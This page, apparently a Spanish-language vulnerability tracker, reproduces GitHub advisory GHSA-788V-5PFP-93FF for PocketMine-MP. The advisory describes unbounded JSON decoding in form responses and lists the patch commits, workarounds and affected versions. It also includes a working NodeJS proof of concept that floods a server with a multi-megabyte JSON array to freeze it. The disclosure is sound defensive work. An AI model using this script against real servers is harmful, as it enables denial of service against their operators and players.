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Advisory · GitHub · Packagist · pocketmine/pocketmine-mp

GHSA-788V-5PFP-93FF

PocketMine-MP: JSON decoding of unlimited size large arrays/objects in ModalFormResponse Handling

Parche disponible
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CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versión5.39.2
Exposición226 dDesde la divulgación, 6 abr 2026, 5:54 p. m.
Detección224 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Monitoreo
Detectada
6 abr 26
10 sept 26
17 nov 26
19 nov 26
6 abr 26
2 jun 26
29 jul 26
24 sept 26
19 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-788V-5PFP-93FF divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Impact

The server does not meaningfully limit the size of the JSON payload in `ModalFormResponsePacket`. This can be abused by an attacker to waste memory and CPU on an affected server, e.g. by sending arrays with millions of elements.

The player must have a full session on the server (i.e. spawned in the world) to exploit this, as form responses are not handled unless the player is in game.

### Patches
The issue was fixed in two parts:
- cef1088341e40ee7a6fa079bca47a84f3524d877 limits the size of a single form response to 10 KB, which is well above expected size, but low enough to prevent abuse
- f983f4f66d5e72d7a07109c8175799ab0ee771d5 avoids decoding the form response if there is no form associated with the given ID

### Workarounds
This issue can be worked around in a plugin using `DataPacketReceiveEvent` by:
- checking the max size of the `formData` field
- making sure the form ID is not repeated

However, a full workaround for the issue would require reflection to access the `Player->forms` property, which is not exposed via any accessible API prior to 5.39.2.

PoC
  1. Join a PocketMine-MP server as a regular player (no special permissions needed).
  2. Use a modified client or packet-sending script to send a `ModalFormResponsePacket` with:
  • Any non-existent `formId`
  • `formData` containing a massive JSON array (e.g., 10+ MB payload).
  • The server will attempt to parse the JSON and may freeze or become unresponsive.

Example NodeJS pseudocode:

import { createClient } from 'bedrock-protocol';

const host = '127.0.0.1';
const port = 19132;
const username = 'Test';

const client = createClient({
  host,
  port,
  username,
  offline: true
});

const hugePayload = '[' + '0,'.repeat(5_000_000) + '0]';

client.on('spawn', () => {
  console.log('[*] Connected & spawned. Sending malicious packet...');

  client.write('modal_form_response', {
    formId: 9999,       // Form inexistant
    formData: hugePayload // JSON énorme
  });

  console.log('[*] Packet sent. The server should start freezing shortly.');
});

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida
pocketmine/pocketmine-mp< 5.39.2
5.39.2
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistpocketmine/pocketmine-mp
Corregida 5.39.2 — —
Versiones corregidas5.39.2
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Otrahttps://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-788v-5pfp-93ff
Otrahttps://github.com/pmmp/PocketMine-MP/commit/cef1088341e40ee7a6fa079bca47a84f3524d877
Otrahttps://github.com/pmmp/PocketMine-MP/commit/f983f4f66d5e72d7a07109c8175799ab0ee771d5
Otrahttps://github.com/pmmp/PocketMine-MP

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